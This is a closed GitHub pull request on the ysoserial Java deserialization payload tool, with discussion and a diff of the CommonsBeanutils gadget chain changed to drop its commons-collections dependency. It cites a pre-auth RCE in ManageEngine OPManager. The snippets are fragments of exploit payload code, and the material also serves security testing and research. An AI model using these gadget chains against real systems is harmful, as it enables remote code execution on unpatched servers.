Remove a dependency for CommonsBeanutils1#168
Closed
zeroSteiner wants to merge 1 commit intofrohoff:masterfrom
Closed
Remove a dependency for CommonsBeanutils1#168zeroSteiner wants to merge 1 commit intofrohoff:masterfrom
zeroSteiner wants to merge 1 commit intofrohoff:masterfrom
Conversation
Merged
5 tasks
Owner
|
Thanks a ton for the PR, but going to close this in favor of #162 which came a little earlier (both PR and source blog post) and does almost the exact same thing. $ diff -w --suppress-common-lines <(curl -s https://raw.githubusercontent.com/frohoff/ysoserial/23f2d068edb50e9e4d612a007fc80e019c9acbd6/src/main/java/ysoserial/payloads/CommonsBeanutils1.java) <(curl -s https://raw.githubusercontent.com/frohoff/ysoserial/5bf23d9c2247746a45e876367ce2f5c16bca7fb1/src/main/java/ysoserial/payloads/CommonsBeanutils2.java)
3,6d2
< import java.math.BigInteger;
< import java.util.Collections;
< import java.util.PriorityQueue;
<
8d3
<
14a10,13
> import java.util.PriorityQueue;
>
> // Origin Detective is PHITHON From
> // https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
16,18c15,17
< @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
< @Authors({ Authors.FROHOFF })
< public class CommonsBeanutils1 implements ObjectPayload<Object> {
---
> @Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
> @Authors({Authors.K4n5ha0})
> public class CommonsBeanutils2 implements ObjectPayload<Object> {
23c22
< final BeanComparator comparator = new BeanComparator("lowestSetBit", Collections.reverseOrder());
---
> final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
28,29c27,28
< queue.add(new BigInteger("1"));
< queue.add(new BigInteger("1"));
---
> queue.add("1");
> queue.add("1");
43c42
< PayloadRunner.run(CommonsBeanutils1.class, args);
---
> PayloadRunner.run(CommonsBeanutils2.class, args); |
Author
Owner
|
Yes, sorry, I meant #163 which just uses |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This updates the
CommonsBeanutilsgadget to use the overloaded constructor with thejava.util.Collections.ReverseComparatornative Java comparator. This effectively removes the dependency on the commons-collections library thus allowing this gadget to be used in more scenarios.This is called out in the blog Pre-Auth RCE in ManageEngine OPManager as being a necessary change to exploit the vulnerability. Given that the dependency is removed and not replaced, it seems like an ideal improvement.
If for whatever reason this should be implemented as an entirely new gadget, just let me know and I'll switch it over.